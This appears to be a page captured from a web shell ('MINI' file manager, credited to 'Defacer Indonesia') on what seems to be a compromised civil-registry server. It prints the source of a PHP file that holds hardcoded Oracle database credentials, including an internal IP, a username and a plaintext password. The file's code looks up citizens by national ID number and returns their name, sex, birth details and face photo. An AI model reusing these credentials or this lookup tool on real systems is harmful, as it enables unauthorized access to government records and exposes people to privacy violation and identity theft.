MINI
C:
/
siak
/
app
/
AdminLTE
/
Upload File:
files >> C:/siak/app/AdminLTE/demographic.php
<?php // ------------------------------ // CONFIG DATABASE // ------------------------------ $ipektp = '10.65.1.2'; $portdbsiak = '1521'; $dbsiakuser = 'bmuser'; $dbsiakpwd = 'technicalbsl7'; $dbsiaksid = 'orcl'; // Koneksi Oracle $conn = oci_connect($dbsiakuser, $dbsiakpwd, "$ipektp:$portdbsiak/$dbsiaksid"); if (!$conn) { $e = oci_error(); die("Koneksi database gagal: " . htmlentities($e['message'])); } // Set format tanggal $stid = oci_parse($conn, "ALTER SESSION SET nls_date_format='DD-MM-YYYY'"); oci_execute($stid); $result = null; $error = null; if (isset($_POST['nik'])) { $nik = trim($_POST['nik']); if (!ctype_digit($nik) || strlen($nik) != 16) { $error = "Format NIK tidak valid. Harus angka 16 digit."; } else { $query = "SELECT NIK, NAMA_LGKP, JENIS_KLMIN, TMPT_LHR, TGL_LHR FROM DEMOGRAPHICS WHERE NIK = :nik"; $stid = oci_parse($conn, $query); oci_bind_by_name($stid, ':nik', $nik); oci_execute($stid); $row = oci_fetch_assoc($stid); if ($row) { $faceQuery = "SELECT face FROM FACES WHERE NIK = :nik"; $faceStmt = oci_parse($conn, $faceQuery); oci_bind_by_name($faceStmt, ':nik', $nik); oci_execute($faceStmt); $faceRow = oci_fetch_assoc($faceStmt); if ($faceRow && !empty($faceRow['face'])) { $blobData = $faceRow['face']->load(); $base64 = base64_encode($blobData); $row['face'] = "data:image/jpeg;base64," . $base64; } else { $row['face'] = null; } $result = $row; } else { $error = "Data tidak ditemukan untuk NIK tersebut."; } } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <title>Cari Data NIK</title> <style> body { font-family: Arial, sans-serif; background: #f0f2f5; padding: 20px; display: flex; justify-content: center; align-items: flex-start; min-height: 100vh; } .container { background: white; padding: 30px; border-radius: 12px; width: 480px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); border: 1px solid #ddd; } h2 { text-align: center; margin-bottom: 20px; } label { font-weight: bold; } input[type=text] { width: 100%; padding: 12px; margin: 8px 0 15px; border: 1px solid #ccc; border-radius: 8px; } button { width: 100%; padding: 12px; background: #007bff; color: white; border: none; border-radius: 8px; cursor: pointer; } button:hover { background: #0056c7; } .result, .error { margin-top: 20px; padding: 15px; border-radius: 8px; } .result { background: #e9ffe9; border: 1px solid #b7e6b7; } .error { background: #ffe5e5; border: 1px solid #ffb4b4; } table { width: 100%; margin-top: 10px; border-collapse: collapse; } td { padding: 6px 0; border-bottom: 1px solid #eee; } td:first-child { font-weight: bold; width: 38%; } </style> </head> <body> <div class="container"> <div style="text-align:center; margin-bottom:20px;"> <img src="garuda.jpg" alt="Logo Kabupaten" style="width:120px;"> </div> <h2>Cari Data Berdasarkan NIK</h2> <form method="POST"> <label>Masukkan NIK:</label> <input type="text" name="nik" maxlength="16" placeholder="Contoh: 6404051303810003" required /> <button type="submit">Cari</button> </form> <?php if ($result): ?> <div class="result"> <strong>Data Ditemukan:</strong><br/><br/> <table> <tr><td>NIK</td><td><?= htmlspecialchars($result['NIK']) ?></td></tr> <tr><td>Nama</td><td><?= htmlspecialchars($result['NAMA_LGKP']) ?></td></tr> <tr><td>Jenis Kelamin</td><td><?= htmlspecialchars($result['JENIS_KLMIN']) ?></td></tr> <tr><td>Tempat Lahir</td><td><?= htmlspecialchars($result['TMPT_LHR']) ?></td></tr> <tr><td>Tanggal Lahir</td><td><?= htmlspecialchars($result['TGL_LHR']) ?></td></tr> </table> <?php if (!empty($result['face'])) : ?> <div style="text-align:center; margin-top:20px;"> <img src="<?= $result['face'] ?>" alt="face Wajah" style="width:150px; border-radius:8px; border:1px solid #ccc;"> </div> <?php else: ?> <div style="text-align:center; margin-top:20px; color:#777;"> <em>face wajah tidak tersedia.</em> </div> <?php endif; ?> </div> <?php endif; ?> <?php if ($error): ?> <div class="error"><?= htmlspecialchars($error) ?></div> <?php endif; ?> </div> </body> </html>
Copyright ©2021 || Defacer Indonesia